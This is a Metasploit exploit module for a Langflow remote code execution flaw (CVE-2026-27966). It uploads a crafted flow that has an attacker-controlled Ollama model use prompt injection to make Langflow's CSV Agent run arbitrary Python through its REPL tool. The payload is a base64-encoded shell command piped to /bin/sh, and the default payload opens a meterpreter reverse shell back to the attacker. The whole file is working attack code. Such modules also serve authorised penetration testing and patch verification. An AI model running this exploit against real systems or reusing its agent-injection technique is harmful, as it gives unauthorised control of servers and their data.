##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow RCE',
        'Description' => %q{
          The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast).
          As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE).
        },
        'Author' => [
          'weblover12',        # Vulnerability discovery and PoC
          'Takahiro Yokoyama'  # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-27966'],
          ['GHSA', '3645-fxcv-hqr4'],
        ],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 300,
          'FETCH_DELETE' => true
        },
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-02-25',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(7860),
        OptString.new('APIKEY', [ true, 'Langflow API key to interact with Langflow.', '' ]),
        OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker.', '' ]),
        OptString.new('MODEL', [ true, 'Valid ollama model name.', '' ]),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/version')
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    json_version = res&.get_json_document&.fetch('version', nil)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version

    version = Rex::Version.new(json_version)
    return Exploit::CheckCode::Unknown('Failed to get version.') unless version

    return Exploit::CheckCode.Safe("Version #{version} detected. Which is not vulnerable.") if version >= Rex::Version.new('1.8.0')

    # check if API key is valid
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/users/whoami'),
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      }
    })
    return Exploit::CheckCode::Appears("Version #{version} detected and API key is valid. Which is vulnerable.") if res&.code == 200

    Exploit::CheckCode.Safe("Version #{version} detected and API key is invalid. Which is not vulnerable.")
  end

  def exploit
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'api/v1/projects/'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      },
      'data' => {
        'name' => rand_text_alphanumeric(8),
        'description' => 'string',
        'components_list' => [],
        'flows_list' => []
      }.to_json
    })
    @folder_id = res&.get_json_document&.fetch('id', nil)
    fail_with(Failure::Unknown, 'Failed to create a new project.') unless @folder_id
    print_status("Project: #{@folder_id}")

    # construct POST data
    fname = "#{rand_text_alphanumeric(8)}.csv"
    data = Rex::MIME::Message.new
    data.add_part("#{rand_text_alphanumeric(2)},#{rand_text_alphanumeric(2)}", 'application/csv', nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'api/v2/files'),
      'method' => 'POST',
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      },
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    })
    path = res&.get_json_document&.fetch('path')
    fail_with(Failure::Unknown, 'Failed to upload a csv file.') unless path
    @fid = res&.get_json_document&.fetch('id')

    exploit_data = exploit_data('CVE-2026-27966', 'cve_2026_27966.json')
    exploit_data = exploit_data.gsub('__FOLDERID__', @folder_id)
    exploit_data = exploit_data.gsub('__MODELNAME__', datastore['MODEL'])
    exploit_data = exploit_data.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI'])
    exploit_data = exploit_data.gsub('__FILEPATH__', path)
    case target['Arch']
    when ARCH_PYTHON
      payload_data = payload.encode
    else
      payload_data = "__import__('os').system('echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|/bin/sh')"
    end
    exploit_data = exploit_data.gsub('__PAYLOAD__', payload_data)
    exploit_data = exploit_data.gsub('__NAME__', rand_text_alphanumeric(8))
    # construct POST data
    data = Rex::MIME::Message.new
    data.add_part(exploit_data, 'application/json', nil, "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")

    # Import a flow
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'api/v1/flows/upload/'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'vars_get' => { 'folder_id' => @folder_id },
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      }
    })
    fail_with(Failure::Unknown, 'Temporary failed to import a flow.') unless res&.get_json_document.is_a?(Array)
    flow_id = res&.get_json_document&.first&.fetch('id', nil)
    fail_with(Failure::Unknown, 'Failed to import a flow.') unless flow_id
    print_status("Flow: #{flow_id}")

    # Execute
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, "api/v1/build/#{flow_id}/flow"),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      }
    })
    job = res&.get_json_document&.fetch('job_id')
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless job
    print_status("Job: #{job}")
    print_status('Waiting...')
  end

  def cleanup
    super
    if @fid
      send_request_cgi({
        'uri' => normalize_uri(target_uri, "api/v2/files/#{@fid}"),
        'method' => 'DELETE',
        'headers' => {
          'x-api-key' => datastore['APIKEY']
        }
      })
    end
    if @folder_id
      send_request_cgi({
        'uri' => normalize_uri(target_uri, "api/v1/projects/#{@folder_id}"),
        'method' => 'DELETE',
        'headers' => {
          'x-api-key' => datastore['APIKEY']
        }
      })
    end
  end

end